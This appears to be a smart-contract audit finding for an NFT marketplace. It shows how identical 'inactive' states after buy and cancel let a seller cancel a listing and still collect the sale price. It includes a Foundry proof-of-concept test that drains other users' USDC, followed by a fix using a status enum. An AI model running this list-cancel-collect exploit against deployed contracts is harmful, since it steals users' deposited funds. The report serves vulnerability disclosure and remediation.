Root + Impact
Description
-
After a listing is sold via buy(), the seller is entitled to call collectUsdcFromSelling to receive price - fees + collateral. The function guards on !listing.isActive to ensure the sale is finalized.
-
Both buy() and cancelListing() set isActive = false, making them indistinguishable. A seller can list an NFT, cancel the listing (getting collateral back), then call collectUsdcFromSelling to extract price - fees from the contract funds that no buyer ever deposited.
function cancelListing(uint256 _listingId) external onlySeller(_listingId) {
require(s_listings[_listingId].isActive, "Listing is not active");
@> s_listings[_listingId].isActive = false;
uint256 tokenId = s_listings[_listingId].tokenId;
uint256 collateral = collateralForMinting[tokenId];
collateralForMinting[tokenId] = 0;
usdc.safeTransfer(msg.sender, collateral);
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
}
Risk
Likelihood:
The attack requires only a single user acting alone with no external dependencies
Impact:
Attack is repeatable: attacker can cycle list → cancel → collect indefinitely until contract is drained
Proof of Concept
function test_NM002_CancelThenCollectStealsFunds() public {
address alice = makeAddr("alice");
address[] memory victims = new address[](4);
for (uint i = 0; i < 4; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
_mintAndDepositCollateral(victims[i], i + 2);
}
_mintAndDepositCollateral(alice, 1);
uint256 balanceBefore = usdc.balanceOf(alice);
vm.startPrank(alice);
nftDealers.list(1, 20e6);
nftDealers.cancelListing(1);
nftDealers.collectUsdcFromSelling(1);
vm.stopPrank();
uint256 aliceGain = usdc.balanceOf(alice) - balanceBefore;
assertGt(aliceGain, 20e6);
assertLt(usdc.balanceOf(address(nftDealers)), 40e6);
}
Recommended Mitigation
+ enum ListingStatus { NONE, ACTIVE, SOLD, CANCELLED, COLLECTED }
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
- bool isActive;
+ ListingStatus status;
}
function buy(uint256 _listingId) external payable {
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.SOLD;
}
function cancelListing(uint256 _listingId) external onlySeller(_listingId) {
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.CANCELLED;
}
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(s_listings[_listingId].status == ListingStatus.SOLD, "Not sold");
+ s_listings[_listingId].status = ListingStatus.COLLECTED;
}